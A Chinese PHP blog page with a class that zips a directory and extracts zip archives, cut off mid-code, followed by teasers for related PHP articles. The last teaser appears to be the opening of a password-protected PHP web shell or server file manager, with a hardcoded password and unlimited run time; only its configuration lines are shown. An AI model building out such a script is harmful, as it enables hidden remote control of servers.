php对zip文件解压和压缩
<?php
/**
* @author wyt
*
*/
class zip {
private $_zipObj=null;
private $_zipfcArr=array();
private $_basePath=null;
private $_zipName;
/**
* init
* @param zip文件名称 $zipName
*/
function __construct($zipName){
$this->_zipName=$zipName;
$this->_zipObj=new rezip();
}
/**
* 压缩一个文件夹
* @param 目录名称 $path
*/
public function tozip($path){
$this->_basePath=$path;
$this->_basePath.='/';
$this->direct($path);
$this->_zipObj->Add($this->_zipfcArr,1);
//写入文件
if(@fputs(@fopen($this->_zipName,"wb"),$this->_zipObj->get_file())) return $this->_zipName;
return false;
}
/**
* 解压zip文件
* @param 解压到的文件夹 $destPath
*/
public function unzip($destPath){
if(!file_exists($destPath)) @mkdir($destPath,0777,true);
return $this->_zipObj->Extract($this->_zipName,$destPath);
}
function direct($path){
$handler=opendir($path);
while(($file=readdir($handler))!==false){
if($file=='.'||$file=='..') continue;
$tmp=$path.'/'.$file;
$filename=str_replace($this->_basePath,'',$tmp);
if(is_dir($tmp)){
$this->direct($tmp);
}else{
//生成的zip 文件名
echo $tmp."\n";
$filesize=@filesize($tmp);
$fp=@fopen($tmp,rb);
$this->_zipfcArr[]=Array($filename,@fread($fp,$filesize));
@fclose($fp);
}
}
closedir($handler);
}
}
/**
* 压缩类,进行了小小的改动
*
*/
class rezip{
var $datasec, $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0; var $dirs = Array(".");
function get_List($zip_name){
$zip = @fopen($zip_name, 'rb');
if(!$zip) return(0);
$centd = $this->ReadCentralDir($zip,$zip_name);
@rewind($zip);
@fseek($zip, $centd['offset']);
for ($i=0; $i<$centd['entries']; $i++){
$header = $this->Re
相关文档:
如何创建我们的第一个PHP页面呢?非常简单的!选择我们使用的一个最好的设计工具,当然你也可以 只使用记事本。创建之后记得要保存为扩展名为PHP的文件,然后传到我们的服务器
上。
在编写PHP程序之前通常我们需要配置我们的环境,也就是说服务器
要支持PHP才能行啊
一、PHP的基本结构:
使用Incl ......
解决的办法有好几个:
第一个是:str_split(),这个方法是PHP5加入的。
<?php
$str = "Hello Friend";
$arr1 = str_split($str);
$arr2 = str_split($str, 3);
print_r($arr1);
print_r($arr2);
?>
输出就是:
Array
(
[0] => H
[1] => e
[2] => l
[3] => l
......
PHP 中巧用数组降低程序的时间复杂度
王 丹丹, 高级软件工程师, IBM
2009 年 11 月 26 日
本文主要是介绍在 PHP 的编程中,如何巧用数组来降低因多层循环而引起的时间复杂度的问题。特别是当程序需要多次与数据库交互时,用此方法来优化你的代码,将会带给意想不到的效果。
通常开发人员在写程序的时候,往往是把已经设 ......
<?php
#--Config--#
$login_password= '123456'; //这是密码
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......